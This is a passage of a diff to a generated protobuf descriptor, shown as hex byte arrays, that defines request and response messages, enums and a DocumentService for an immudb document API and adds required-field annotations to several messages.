0x04, 0x52, - 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x3a, 0x0a, 0x08, 0x6d, 0x65, 0x74, - 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1e, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x52, 0x08, 0x6d, 0x65, 0x74, - 0x61, 0x64, 0x61, 0x74, 0x61, 0x12, 0x33, 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, - 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, - 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x22, 0x2c, 0x0a, 0x10, 0x44, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x12, 0x18, - 0x0a, 0x07, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x07, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x22, 0x9a, 0x01, 0x0a, 0x14, 0x41, 0x75, 0x64, - 0x69, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, - 0x64, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x70, 0x61, 0x67, - 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x70, 0x61, 0x67, - 0x65, 0x53, 0x69, 0x7a, 0x65, 0x22, 0x57, 0x0a, 0x15, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x3e, - 0x0a, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, - 0x0b, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, - 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, - 0x69, 0x6f, 0x6e, 0x52, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0xb6, - 0x01, 0x0a, 0x14, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x01, 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x3a, 0x14, 0x92, 0x41, 0x11, 0x0a, 0x0f, + 0xd2, 0x01, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0xd2, 0x01, 0x04, 0x64, 0x65, 0x73, 0x63, 0x22, + 0x75, 0x0a, 0x17, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x73, 0x65, + 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x73, 0x65, + 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, 0x12, 0x3e, 0x0a, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, + 0x6f, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x09, 0x72, 0x65, 0x76, + 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0xe7, 0x01, 0x0a, 0x12, 0x44, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x24, 0x0a, + 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x49, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, + 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x49, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x12, + 0x3a, 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x04, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, + 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, + 0x61, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x12, 0x33, 0x0a, 0x08, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, + 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, + 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x22, 0x2c, 0x0a, 0x10, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x65, 0x74, 0x61, + 0x64, 0x61, 0x74, 0x61, 0x12, 0x18, 0x0a, 0x07, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x22, 0xcd, + 0x01, 0x0a, 0x14, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, - 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, - 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x38, 0x0a, - 0x17, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, - 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x17, - 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x22, 0xf6, 0x01, 0x0a, 0x15, 0x50, 0x72, 0x6f, 0x6f, - 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x22, 0x0a, - 0x0c, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, - 0x64, 0x12, 0x30, 0x0a, 0x13, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x46, - 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x13, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, - 0x61, 0x6d, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0f, 0x65, 0x6e, - 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x41, 0x0a, - 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, 0x05, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, - 0x56, 0x32, 0x52, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, - 0x22, 0x43, 0x0a, 0x16, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x05, 0x71, 0x75, - 0x65, 0x72, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, - 0x71, 0x75, 0x65, 0x72, 0x79, 0x22, 0x19, 0x0a, 0x17, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x2a, 0x3d, 0x0a, 0x09, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0a, 0x0a, - 0x06, 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, 0x42, 0x4f, 0x4f, - 0x4c, 0x45, 0x41, 0x4e, 0x10, 0x01, 0x12, 0x0b, 0x0a, 0x07, 0x49, 0x4e, 0x54, 0x45, 0x47, 0x45, - 0x52, 0x10, 0x02, 0x12, 0x0a, 0x0a, 0x06, 0x44, 0x4f, 0x55, 0x42, 0x4c, 0x45, 0x10, 0x03, 0x2a, - 0x5c, 0x0a, 0x12, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x4f, 0x70, 0x65, - 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x06, 0x0a, 0x02, 0x45, 0x51, 0x10, 0x00, 0x12, 0x06, 0x0a, - 0x02, 0x4e, 0x45, 0x10, 0x01, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x54, 0x10, 0x02, 0x12, 0x06, 0x0a, - 0x02, 0x4c, 0x45, 0x10, 0x03, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x54, 0x10, 0x04, 0x12, 0x06, 0x0a, - 0x02, 0x47, 0x45, 0x10, 0x05, 0x12, 0x08, 0x0a, 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x06, 0x12, - 0x0c, 0x0a, 0x08, 0x4e, 0x4f, 0x54, 0x5f, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x07, 0x32, 0xf5, 0x0d, - 0x0a, 0x0f, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, - 0x65, 0x12, 0x8a, 0x01, 0x0a, 0x10, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x72, 0x65, - 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x27, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x1a, 0x0c, 0x2f, - 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x3a, 0x01, 0x2a, 0x92, 0x41, - 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x85, - 0x01, 0x0a, 0x0d, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, - 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, - 0x64, 0x65, 0x6c, 0x2e, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x15, 0x12, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, - 0x7b, 0x6e, 0x61, 0x6d, 0x65, 0x7d, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x81, 0x01, 0x0a, 0x0e, 0x47, 0x65, 0x74, 0x43, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, 0x12, 0x0a, 0x04, 0x70, + 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, + 0x1a, 0x0a, 0x08, 0x70, 0x61, 0x67, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x08, 0x70, 0x61, 0x67, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x3a, 0x31, 0x92, 0x41, 0x2e, + 0x0a, 0x2c, 0xd2, 0x01, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0xd2, + 0x01, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0xd2, 0x01, 0x04, 0x70, + 0x61, 0x67, 0x65, 0xd2, 0x01, 0x08, 0x70, 0x61, 0x67, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x22, 0x57, + 0x0a, 0x15, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x3e, 0x0a, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, + 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x09, 0x72, 0x65, + 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0xd7, 0x01, 0x0a, 0x14, 0x50, 0x72, 0x6f, 0x6f, + 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, + 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, + 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x38, 0x0a, 0x17, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x53, + 0x69, 0x6e, 0x63, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, + 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x17, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x53, 0x69, + 0x6e, 0x63, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, + 0x3a, 0x1f, 0x92, 0x41, 0x1c, 0x0a, 0x1a, 0xd2, 0x01, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0xd2, 0x01, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, + 0x64, 0x22, 0xf6, 0x01, 0x0a, 0x15, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x63, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x63, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x30, 0x0a, 0x13, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, + 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x13, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x49, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x28, 0x0a, + 0x0f, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0f, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x41, 0x0a, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, + 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, + 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x56, 0x32, 0x52, 0x0c, 0x76, 0x65, + 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x2a, 0x3d, 0x0a, 0x09, 0x46, 0x69, + 0x65, 0x6c, 0x64, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0a, 0x0a, 0x06, 0x53, 0x54, 0x52, 0x49, 0x4e, + 0x47, 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, 0x42, 0x4f, 0x4f, 0x4c, 0x45, 0x41, 0x4e, 0x10, 0x01, + 0x12, 0x0b, 0x0a, 0x07, 0x49, 0x4e, 0x54, 0x45, 0x47, 0x45, 0x52, 0x10, 0x02, 0x12, 0x0a, 0x0a, + 0x06, 0x44, 0x4f, 0x55, 0x42, 0x4c, 0x45, 0x10, 0x03, 0x2a, 0x5c, 0x0a, 0x12, 0x43, 0x6f, 0x6d, + 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, + 0x06, 0x0a, 0x02, 0x45, 0x51, 0x10, 0x00, 0x12, 0x06, 0x0a, 0x02, 0x4e, 0x45, 0x10, 0x01, 0x12, + 0x06, 0x0a, 0x02, 0x4c, 0x54, 0x10, 0x02, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x45, 0x10, 0x03, 0x12, + 0x06, 0x0a, 0x02, 0x47, 0x54, 0x10, 0x04, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x45, 0x10, 0x05, 0x12, + 0x08, 0x0a, 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x06, 0x12, 0x0c, 0x0a, 0x08, 0x4e, 0x4f, 0x54, + 0x5f, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x07, 0x32, 0xf5, 0x0d, 0x0a, 0x0f, 0x44, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x8a, 0x01, 0x0a, 0x10, + 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, + 